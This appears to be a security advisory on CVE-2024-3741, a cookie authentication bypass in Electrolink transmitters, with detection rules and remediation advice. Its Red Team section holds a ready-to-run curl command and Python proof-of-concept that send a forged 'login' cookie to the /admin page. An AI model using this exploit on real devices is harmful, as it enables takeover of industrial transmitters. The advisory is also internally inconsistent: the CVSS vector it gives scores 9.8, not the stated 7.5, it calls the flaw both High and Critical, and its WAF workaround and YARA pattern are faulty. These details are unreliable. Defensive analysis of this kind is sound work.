CVE-2024-3741

Executive Summary

CVE-2024-3741 is a critical authentication bypass vulnerability affecting Electrolink transmitters. The flaw resides in the login cookie mechanism, where an attacker can set an arbitrary value (except the literal string 'NO') to the login cookie and gain full system access. This bypasses all authentication controls, allowing an unauthenticated attacker to take complete control of the device. The CVSS score is 7.5 (High), and no official patch has been released. The vulnerability is trivial to exploit and poses a significant risk to industrial control systems (ICS) and IoT environments where Electrolink transmitters are deployed.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – Full system access exposes all data.
• Integrity Impact: High (I:H) – Attacker can modify system settings and data.
• Availability Impact: High (A:H) – Attacker can disrupt or disable the device.

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and provides full system access. Given the lack of a patch, all Electrolink transmitters are at immediate risk.

Deep Dive & Mechanics

The vulnerability is an authentication bypass in the login cookie handling of Electrolink transmitters. The device checks the value of a cookie named login (or similar) to determine if a user is authenticated. The check is flawed: it only denies access if the cookie value is exactly 'NO'. Any other value, including an empty string, a random string, or even the string 'YES', is treated as valid authentication.

Root Cause: The authentication logic likely uses a simple string comparison like:

if (cookie_value == "NO") { deny_access(); } else { grant_access(); }

This is a classic insecure authentication pattern. The correct approach would be to use a cryptographically signed token or session ID that cannot be forged.

Attack Vector: An attacker sends an HTTP request to the transmitter's web interface with a crafted cookie. For example:

Cookie: login=anything_but_NO

The server then grants full administrative access.

Impact: Full system access includes:

• Reading and modifying device configuration.
• Accessing sensitive data (e.g., credentials, logs).
• Disabling or reconfiguring the transmitter.
• Potentially pivoting to other network segments.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Pseudocode for vulnerable authentication
char* cookie = get_cookie("login");
if (strcmp(cookie, "NO") == 0) {
    deny_access();
} else {
    grant_admin_access();
}

Patched Code (Conceptual):

// Pseudocode for secure authentication
char* session_token = get_cookie("session");
if (validate_session_token(session_token)) {
    grant_admin_access();
} else {
    deny_access();
}

The patched version uses a cryptographically signed session token that cannot be forged. Since no official patch exists, this is a recommended fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the Electrolink transmitter's web interface (typically port 80 or 443).
• A tool like curl, Burp Suite, or a custom script.

Exploitation Steps:

1. Identify the target transmitter's IP address.
2. Send an HTTP request with a crafted cookie:

   curl -b "login=anything_but_NO" http://<target_ip>/admin
   

3. The server responds with the admin interface, granting full access.

Proof of Concept (PoC) Script:

import requests

target = "http://<target_ip>"
cookies = {"login": "anything_but_NO"}
response = requests.get(target + "/admin", cookies=cookies)

if "admin" in response.text.lower():
    print("[+] Authentication bypass successful!")
    print(response.text)
else:
    print("[-] Exploit failed.")

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP requests for unusual cookie values (anything other than 'NO' or a valid session token).
• Look for repeated access attempts with varying cookie values.
• Alert on any access to admin pages without a valid session.

Hardening (Until Patch):

• Implement a reverse proxy (e.g., Nginx) that validates cookies before forwarding requests.
• Use network segmentation to restrict access to the transmitter's web interface.
• Disable the web interface if not needed.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests with a cookie named login and a value other than NO.
  • Unusual access to /admin or other privileged endpoints.
  • Repeated failed login attempts followed by a successful request with a crafted cookie.

• Host IOCs:

  • Unauthorized configuration changes on the transmitter.
  • New user accounts or modified settings.
  • Logs showing authentication bypass events (if logging is enabled).

• File IOCs:

  • No specific file IOCs due to the nature of the vulnerability.

Detection Engineering

YARA Rule

rule CVE_2024_3741_AuthBypass {
    meta:
        description = "Detects authentication bypass attempts for CVE-2024-3741"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-3741"
    strings:
        $cookie_pattern = /Cookie:\s*login=[^N][^O]|Cookie:\s*login=[A-Za-z0-9]+/
    condition:
        $cookie_pattern
}

Sigma Rule

title: CVE-2024-3741 Authentication Bypass Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests with a crafted login cookie targeting Electrolink transmitters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/admin'
        cs-cookie|contains: 'login='
        cs-cookie|not_contains: 'login=NO'
    condition: selection
falsepositives:
    - Legitimate admin access with a valid session (if session cookies are used)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-3741 Electrolink Authentication Bypass"; flow:to_server; content:"Cookie"; http_header; content:"login="; http_cookie; content:!"login=NO"; http_cookie; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place Electrolink transmitters on a separate VLAN with strict access controls.
2. Disable web interface: If not required, disable the HTTP/HTTPS management interface.
3. Monitor logs: Enable and review access logs for suspicious cookie values.

Long-Term Fix:

• Vendor patch: Await an official firmware update from Electrolink that implements proper session management.
• Custom patch: If possible, deploy a reverse proxy that validates cookies before forwarding requests to the transmitter.

Workaround:

• Use a WAF (Web Application Firewall) rule to block requests where the login cookie is present and not equal to 'NO' (if legitimate users always use 'NO' as a placeholder, which is unlikely).

Valters IT
Securing Digital Frontiers